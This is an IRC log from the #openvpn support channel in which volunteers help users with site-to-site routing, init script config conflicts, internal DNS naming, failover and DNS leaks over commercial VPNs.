08:23 < hyper_ch> EugeneKay: that makes sense
08:23 < EugeneKay> I really dont' care. I have work to do ;-)
08:23 < hyper_ch> EugeneKay: also, google is (almost) never down also :)
08:25 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has joined #openvpn
08:28 < wallbroken> yes, also I have many works to do. I'll try to solve the problem by myself tonight. If i will fail, I come back.
08:29 < Neozonz> how can i make openvpn accessible to proxmox containers? It is installed and configured on the host
08:30 -!- stackofcats [~stackofca@unaffiliated/stackofcats] has quit [Quit: leaving]
08:55 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Ping timeout: 276 seconds]
08:56 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
08:58 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
08:58 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
08:58 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
09:00 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
09:00 -!- michaelhart [~michaelha@162.209.1.130] has quit [Remote host closed the connection]
09:00 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
09:03 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Quit: Leaving]
09:05 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
09:11 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Ping timeout: 264 seconds]
09:13 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
09:17 <+pekster> Neozonz: Were you the one trying to set up the site-to-site connection? (It helps to be specific about your problem, not assume the details are known in advance.) If so, you don't "make openvpn accessible" to downstream LANs, but set up routing between your sites so that traffic flows as required
09:18 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
09:23 < Neozonz> pekster: setup the site-to-site connection on the VM host and everything works well
09:23 < Neozonz> but within the VM it doesn't work
09:24 <+pekster> What doesn't work? Did you set up routing properly?
09:24 <+pekster> Is routing not working? What have you tried? Did you follow the !serverlan and !clientlan flowcharts I referred you to?
09:27 < Neozonz> !serverlan
09:27 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
09:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
09:27 < Neozonz> !clientlan
09:27 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
09:27 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
09:28 < Neozonz> !route_outside_openvp
09:28 -!- ignasr [~ignas@158.129.128.243] has joined #openvpn
09:30 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-edckbawyjxxqafyo] has quit [Ping timeout: 264 seconds]
09:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-ocqdpsmlnmdyzvuy] has joined #openvpn
09:32 < Neozonz> !route_outside_openvp
09:32 < Neozonz> !route_outside_openvp
09:32 < Neozonz> !route_outside_openvp
09:32 <+pekster> You're missing an n
09:32 < Neozonz> !route_outside_openvpn
09:32 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
09:33 < Neozonz> !route
09:33 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
09:33 <@vpnHelper> behind the server or client
09:35 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has quit [Ping timeout: 245 seconds]
09:36 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
09:37 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
09:42 -!- EugeneKay [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:47 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 264 seconds]
09:47 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has joined #openvpn
09:47 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
09:47 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
09:48 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
09:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:48 -!- mode/#openvpn [+o dazo_afk] by ChanServ
09:48 -!- dazo_afk is now known as dazo
09:49 -!- mode/#openvpn [+v EugeneKay] by ChanServ
09:51 < ignasr> hello, I am getting ¨Options error: --server-bridge directive only makes sense with --dev tap¨ even if I do not try to configure bridging. VPN kind of works, but service script exits with an error. Should I ignore this? Error and config: http://fpaste.org/38383/88242871/
09:51 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:51 < ignasr> help appreciated
09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Fourty-two!]
09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
09:54 <+EugeneKay> !configs
09:54 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:54 <+EugeneKay> Oh, you pasted already.
09:55 <+EugeneKay> Teach me to read
09:55 < pekster> ignasr: Are you starting openvpn directly on that config, or is some frontend perhaps adding extra options? What happens when you do `openvpn --config server.conf` ?
09:55 <+EugeneKay> That is an interesting one. How are you invoking `openvpn`
09:55 <+EugeneKay> Yeah, that ^
09:56 < pekster> Full --verb 4 output will possibly supply additional details, but I'm betting some frontend is doing something you don't expect, or you're actually launching on a different config
09:57 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
09:57 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:59 < ignasr> I use ¨service¨ command - init script. When I start openvpn directly as suggested there is no error
09:59 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has quit [Read error: Connection reset by peer]
09:59 < pekster> Then your initscript is doing something dumb
09:59 -!- Neozonz|Discx2 [~Neozonz@198-84-245-103.cpe.teksavvy.com] has joined #openvpn
09:59 -!- Neozonz|Discx2 [~Neozonz@198-84-245-103.cpe.teksavvy.com] has quit [Changing host]
09:59 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has joined #openvpn
09:59 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Remote host closed the connection]
09:59 < pekster> Apparently "adding in" server-bridge for you, for some unknown reason
10:00 < pekster> What distro, out of curiousity?
10:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:01 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
10:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-fuptxygsgghzvgbs] has quit [Read error: Connection reset by peer]
10:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-uvsiosazlbbwzpvu] has joined #openvpn
10:02 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 246 seconds]
10:03 < ignasr> CentOS 6. I found it, init script runs all *.conf files in /etc/openvpn and I had server-br.conf there. Thank you all for pointing to the right direction
10:06 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
10:17 -!- troyt [~troyt@2601:7:6d00:432:98ee:b9ff:fe49:8a84] has quit [Ping timeout: 240 seconds]
10:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:24 -!- raidz_away is now known as raidz
10:24 < ignasr> one more question. I have a DNS server on a VPN server network. On a client, ¨dig¨ and ¨host¨ commands correctly uses that DNS server, but ¨ping¨ just timeouts. tcpdump also doesn´t show any activity on ping. Firefox also timeouts, as soon as it tries to use internal domain name (connection by IP works). Command output: http://fpaste.org/38405/78826659/
10:29 < pekster> ignasr: .local has special meaning for mDNS-enabled hosts where such domains are looked up via an on-link multicast address. Of course, it won't matter for non-mDNS-equipped hosts, but if you aren't using mDNS, that's a bad tld to use
10:29 < pekster> Ubuntu, for example, enables mDNS for .local address out of the box
10:31 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
10:33 < ignasr> thanks, didn´t know that. Is there a standartized domain name that should be used in these cases?
10:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
10:37 < rob0> There are a few reserved TLDs, but often your best bet is to delegate and use a subdomain of your own zone.
10:37 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
10:40 <+EugeneKay> .example .invalid .localhost and .test are the only "reserved" ones. .local, as you noted, is used for mDNS, but is traditionally used for "internal" addressing.
10:40 < pekster> .lan is a somewhat-common name I've seen for "my local network" where you don't want to collide with anything. If that eventually gets used when you can buy "any" tld remains to be seen
10:41 <+EugeneKay> The "Best Practice" thing is indeed to just go register yournamehere.com and put RFC1918 addresses in it.
10:41 < pekster> But if you have your own domain name, it's often easier to use internal.myrealdomain.com or such (doesn't even have to be a DNS server that serves externally if you'd rather not, but this is gaurenteed not to collide with anything as you own it)
10:41 <+EugeneKay> With IPv6 it's evne less of an issue, because all addresses(you will encounter in a sane network) are inherently global.
10:44 -!- diffen3 [~diffen@h-73-135.a219.corp.bahnhof.se] has joined #openvpn
10:44 < ignasr> thank you :)
10:47 -!- Diffen [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Read error: Operation timed out]
10:48 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 260 seconds]
10:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Read error: Connection reset by peer]
10:53 -!- mikko [~mikko@211.24.14.102] has joined #openvpn
10:53 -!- M-Techni1 is now known as M-Technic
10:53 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:03 -!- diffen3 [~diffen@h-73-135.a219.corp.bahnhof.se] has quit [Quit: This computer has gone to sleep]
11:04 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:12 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
11:13 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 240 seconds]
11:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:38 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
11:40 -!- mattock is now known as mattock_afk
11:43 -!- mattock_afk is now known as mattock
11:50 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
11:53 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Quit: Leaving]
11:57 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:57 -!- mode/#openvpn [+v s7r] by ChanServ
12:04 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
12:09 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:10 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
12:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:32 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
12:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:33 -!- mode/#openvpn [+v s7r] by ChanServ
12:42 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
12:45 -!- mikko [~mikko@211.24.14.102] has quit [Ping timeout: 260 seconds]
12:57 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
13:07 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
13:25 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 260 seconds]
13:27 -!- illsci [~jsabo@ec2-107-23-138-145.compute-1.amazonaws.com] has joined #openvpn
13:27 < illsci> hey whats up
13:27 < illsci> I want to automate openvpn failover... any good docs on that?
13:28 < illsci> im planning on having a couple of nodes be openvpn servers and serve as redundant gateways into this vpn network
13:32 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
13:38 -!- trumee_ is now known as trumee
13:39 -!- p3rror [~mezgani@41.140.180.220] has joined #openvpn
13:42 < pekster> illsci: As long as you have a way to detect and act on failover and update routes, that's possible. Some dynamic routing protocol might be what you want, or a less-layered solution where you have low-ish timeouts from openvpn (--ping/--ping-restart) and use the !scripts hooks to change routing needs
13:48 < wallbroken> hi pekster, i checked out about what "server" pushes, but i haven't found nothing that would let me "ping remote-server" working
13:48 < wallbroken> do u remember my issue?
13:49 < wallbroken> i tried adding on the client "route 10.0.0.1" but nothing.
13:55 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 245 seconds]
13:56 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
13:57 -!- TheSov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:03 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
14:10 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-uvsiosazlbbwzpvu] has quit [Quit: Leaving]
14:13 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
14:14 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
14:16 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has joined #openvpn
14:22 -!- Neozonz [cdd2df82@gateway/web/cgi-irc/kiwiirc.com/ip.205.210.223.130] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
14:26 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
14:32 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 248 seconds]
14:32 -!- klong-2 [~klong@pia139-130.pioneernet.net] has joined #openvpn
14:34 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
14:37 -!- klong-2 [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 260 seconds]
14:38 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 240 seconds]
14:40 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
14:41 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
14:41 -!- Oroszlan [~Leo@coruscant.placeholder.fr] has left #openvpn ["WeeChat 0.3.9.2"]
14:41 -!- klong- [~klong@pia139-130.pioneernet.net] has joined #openvpn
14:43 < Skapare> I have a host behind a NAT firewall, and no path/port to connect in from it ... so this host will need to initiate connections ... the other host is directly reachable so I can connect to it ... WHAT MODE would b needed for that in openvpn (to make a tunnel between these hosts)?
14:43 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
14:46 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
14:47 -!- KKB [KKB@128.127.105.27] has joined #openvpn
14:49 < KKB> Hello! Im using a VPN Service, but im plauged by DNS leaks. Is my anonimity preserved if i Force IPv4 (= no local server DNS lookups)  to use opendns or google public dns. Or do i absolutely have to run every dns request through vpn ?
14:50 -!- klong- [~klong@pia139-130.pioneernet.net] has quit [Ping timeout: 256 seconds]
14:50 < rob0> Skapare, what do you mean, "mode"? If you mean "--mode" as in the man page, you obviously could not use a server, since you need to initiate connections. Either p2p of client (of a server) would be fine.
14:52 < pekster> heh, "DNS leaks" -- thought I stumbled into reddit for a moment with all the FUD that buzzword entails. KKB, the entire concept is a bit silly; if you don't change your OSes DNS and leave servers that are on-link, lookups will go out your local DNS servers. Same principle applies if you use ISP DNS, but route it through the VPN (as the request enters the ISP from the PoP you get NAT'd to)
14:53 < pekster> Don't let your client OS do that if you don't want it. That's not really anything related to openvpn at all but all about how your configure your OS, which is entirely up to you and not really a concern to openvpn. See !pushdns for info about having openvpn push/apply DNS updates, though Windows does this poorly as it binds DNS servers to interfaces instead of a global list like every other sane OS
14:53 < pekster> Also, OpeDNS can burn in hell for failure to follow RFCs
14:53 < pekster> !opendns
14:53 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
14:54 < KKB> !dns
14:54 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
14:55 <+EugeneKay> It's not so much "failure to follow" as "outright disregard"
14:55 <+EugeneKay> They're maliciously fucking it up
14:55 < pekster> But, proffit!
14:55 < KKB> well, thanks for answers. Though i wish you would answer like you would a child.. i am not a celver man.. na but realy, im not very knowledgeable in this field
14:56 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
14:57 < pekster> KKB: Right, Unfortinuately, openvpn is an advanced networking too, so use of it involves a lot of other networking components that one already needs to have a decent handle on before attempting to use it. What surprises me is that these "providers" don't try to even pretend to help users understand the tools their using, but they're too busy trying to be cheaper than their competition to care. Most providers suck, and many are ...
14:57 < pekster> ... borderline clueless themselves
14:57 <+EugeneKay> Race to the bottom ;-)
14:57 <+EugeneKay> Same problem as the VPS and hosting industry
14:57 <+EugeneKay> I recommend Linode because they ARENT cheap
14:58 < wallbroken> the VERY strange things is that SOMETIMES ping works. WTF
14:59 <@ecrist> rootbsd.net is good, too
15:00 < pekster> With standards like OVH sets for IPv6, it can't be _that_ hard to be better than some ;)
15:00 < pekster> (rumor has it they put your entire IPv6 allocation on-link ;)
15:03 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:03 < KKB> Hypothetical situation : Im  using a comercial VPN service and im runing a client to connect to their servers. My Ipv4 is sett to using Google public DNS becouse its leaking outside the VPN. How safe is my anonimity ? Should i take steps to make sure i dont leak at all. or should i be ok as long as im not using local DNS servers.  My VPN service support just wont answer me on this
15:04 < pekster> Probably not very safe. If they get an NSL or other "possibly extra-legal notice", do you really think they're going to risk violating a subpeona or NSL order for your $5/mo or w/e your're paying them
15:05 < pekster> In fact, VPNs go out of their way to authenticate every single packet received with strong cryptography, so it's very obvious to anyone who controls either endpoint where the data came from
15:05 < pekster> So, really, VPNs are the exact opposite of anonymous when you're one of the two endpoints. They're authenticated, though encrypted so casual attackers outside the endpoints don't know the message contents
15:05 < KKB> but thats becouse of the VPN service not staying quiet i suppose ? Which is a valid argument.. but i was mostly interested in the DNS aspect
15:06 < pekster> Anything you send that's routed across the VPN will be securely delivered to the endpoint. After that, if you're routing it onto the Public Internet, it will go out in whatever form the packet exists in; DNS requests are not encrypted, so "anyone watching" can see that the external IP of the exit-PoP send that request
15:06 < KKB> on the VPN staying quiet note, they would have to be loging to give up the info ?
15:07 < pekster> You go on thinking that. (how do you think the server admin fixes problems with the server if there are "no logs." And, protip, you can turn them on if Big Angry Men from $local_government bring down your door and stick guns in your face)
15:08 < pekster> The entire thing is a sham, basically. Maybe it'll put off legal letters if you're doing crap like bittorrent over it until a smart lawyer figures out they can get a subpeona against some provider that "encourages" users to break laws and un-mask all the people using them purely for illegal use. I leave that to the lawyers to figure out
15:09 < pekster> If that's what you're doing, as long as the mouse stays enough ahead of the "slower mice", it's "safe" (and by safe I mean not at all safe, just un-interesting)
15:10 < pekster> Of course, the same applies to anyone who is interested in your traffic, legal or not. Just the focus seems to be on "being anonymous" for nefarious reasons online. The same really applies to someone trying to protect from government spying on their daily lives too
15:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:11 < pekster> If that's your goal, you're probably better off with tor compard to a VPN "provider" (though there are risks there too, especially if used imporperly)
15:12 < KKB> well, mostly its becouse i hate the thouht of what the us and France have been doing. Huge databases with programs siffing out and collecting data on anything they find remotely interesting online
15:13 < KKB> and im quite sure every frakin first world country is doing something like it
15:13 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
15:14 < KKB> using a vpn, they actualy have to come digging for it in logs, if they even exist.. or thats how i understand it anyway
15:15 -!- illsci [~jsabo@ec2-107-23-138-145.compute-1.amazonaws.com] has quit [Quit: Lost terminal]
15:15 < pekster> Sure. You can perhaps hedge bets by using a PoP ("provider" if you prefer the term) in another juristidction. As long as both ends aren't compromised, the "man in the middle" can merely see the packet headers, not the message contents
15:15 < KKB> but if my computer uses my isp ip to do lookups on dns server, im still telling them where my trafic is going. just not what trafic
15:15 < pekster> Exactly
15:16 < pekster> They know you went to "problems-with-french-government.com" (due to the DNS lookup) but not what data you exchanged with that site
15:16 < pekster> If you use a public DNS that exits at the remote PoP (say google anycast DNS) it'll take whatever path the PoP has to that IP
15:19 < KKB> i dont get why my OS insists on going outside my  vpn tunnel though
15:22 < KKB> and protips on that issue ?
15:22 < rob0> fix your OS?
15:22 < KKB> thanks ! how
15:22 < rob0> change /etc/resolv.conf
15:24 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
15:24 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
15:24 < KKB> thats.. linux ?
15:27 < pekster> If you use a LAN-DNS resolver, requests will match that as it is a "most specific" route. The solution is not to use such a DNS resolver. Consult your OS docs for how to do this, though on Unix-alikes the standard is resolv.conf(5)
15:27 < pekster> Less-open OSes have "their own" way to do this; Windows uses the netsh API with all of its associated clicky-GUI-open-12-windows-to-do-anything process, while MAC OS uses the dnsctl tool and its associated frontends
15:27 < pekster> OpenVPN doens't have a care in the world what you route across it. Configure your OS as you need/want
15:29 < KKB> i tried openvpn. someone had used the ip before me and blocked most sites, sadly
15:33 -!- midacts [~midacts@207.59.77.254] has left #openvpn []
15:33 < copper> what's the difference between a client that sends a DNS query to, say, Google (8.8.8.8), and a standalone DNS server that uses Google as a source for DNS lookups made to itself?
15:33 < copper> i.e. what's the difference between (Client -> Google) and (Client -> DNS server over VPN -> Google)
15:34 < KKB> if my OS asks someone knows ive asked for a site. if my vpn asks and the routes it to me, the vpn asked.
15:34 < copper> the DNS query from the client will be routed through the VPN anyway
15:34 < copper> (in the default-route scenario)
15:35 < KKB> not if you have a leak, which is my issue
15:35 < KKB> from my little understanding, anyway
15:35 < copper> your DNS server has an address that isn't routed through your VPN?
15:36 < copper> anyway, running a DNS server on the VPN server is a good idea, if only for caching lookups
15:37 < rob0> copper, it would seem that the client-to-forwarding-nameserver might be a bit more anonymized, because lookups will be pooled with those of other clients.
15:37 < KKB> a good answer from someone more informed there
15:37 < copper> rob0: what can identify a client when it does a DNS lookup that's routed through a VPN tunnel?
15:38 < copper> don't all client DNS lookups appear to be coming from the same IP (the server)?
15:38 < copper> (the VPN server)
15:38 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:38 < KKB> if indeed the OS routes all lookups though the client, Windows leaks. asks directly. Mine does anyway
15:39 < rob0> Use of a recursive nameserver is even better -- forwarding provides no real benefit and some potential for harm. Then the lookups are done against authoritative servers, which are distributed all over.
15:40 < rob0> If someone looks up my domain names, I would have no real way to know that they did. I'm not logging queries.
15:41 < rob0> If someone connects to my httpd or smtpd or imapd or sshd, sure, that fact is logged.
15:47 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:48 < copper> Query time: 23 msec
15:48 < copper> not too shabby!
15:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 271 seconds]
15:54 -!- KKB [KKB@128.127.105.27] has quit [Ping timeout: 260 seconds]
16:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
16:02 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
16:02 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 256 seconds]
16:03 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
16:09 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
16:10 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
16:10 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
16:11 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
16:11 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has joined #openvpn
16:12 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
16:15 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:19 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
16:19 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
16:19 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Client Quit]
16:20 < rugmi> hi, i am trying to redirect traffic from a specific laptop over openvpn. The server is getting that traffic, but with wrong source IP address. Hence it discards it. Here is what I did: I have an openvpn tunnel running between my openwrt wifi router and my server. On wifi router, the interface has ip address 10.8.0.2 and at the server side, it has IP address 10.8.0.1. On the server, I have set
16:20 < rugmi> the iptables rules so that traffic from 10.8.0.2 is masqueraded and accepted. At the wifi router side, I first created a new routing table openvpn-route. Then added a default route to that table to route any traffic over openvpn interface tun0. Then I added an ip rule to route any packet with mark 0x1 according to this new openvpn-route table. I added a new iptables rule (mangle table, PREROUTING
16:20 < rugmi> chain) to mark any tcp:80 traffic from mac address ABCD with 0x1. Finally I added SNAT rule to POSTROUTING chain, nat table to rewrite src address to 10.8.0.2 so that the server does not ignore the traffic. However, at the server side, I see all requests as coming from 192.168.1.102 which is the IP address of wifi router's outgoing interface.
16:23 < rugmi> any ideas how to fix this?
16:32 -!- rugmi [~cute_girl@c-69-180-31-138.hsd1.ga.comcast.net] has quit [Ping timeout: 240 seconds]
16:37 -!- p3rror [~mezgani@41.140.180.220] has quit [Remote host closed the connection]
16:55 -!- master_of_master [~master_of@p4FF24C64.dip0.t-ipconnect.de] has quit [Ping timeout: 247 seconds]
16:56 -!- master_of_master [~master_of@p4FF24C0F.dip0.t-ipconnect.de] has joined #openvpn
17:04 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:06 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
17:10 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:11 -!- mode/#openvpn [+v pekster] by ChanServ
17:12 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
17:14 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:14 -!- mode/#openvpn [+v s7r] by ChanServ
17:16 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:21 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:32 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
17:32 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 243 seconds]
17:35 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
17:48 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Ping timeout: 248 seconds]
17:49 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
18:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
18:33 -!- crus [~crusader@2001:44b8:319e:2900:680d:b5c1:1caa:5d3] has joined #openvpn
18:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:35 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
18:39 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Quit: No Ping reply in 180 seconds.]
18:39 -!- pcdummy_ [~pcdummy@mx1.page4me.ch] has joined #openvpn
18:39 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
18:40 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
18:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
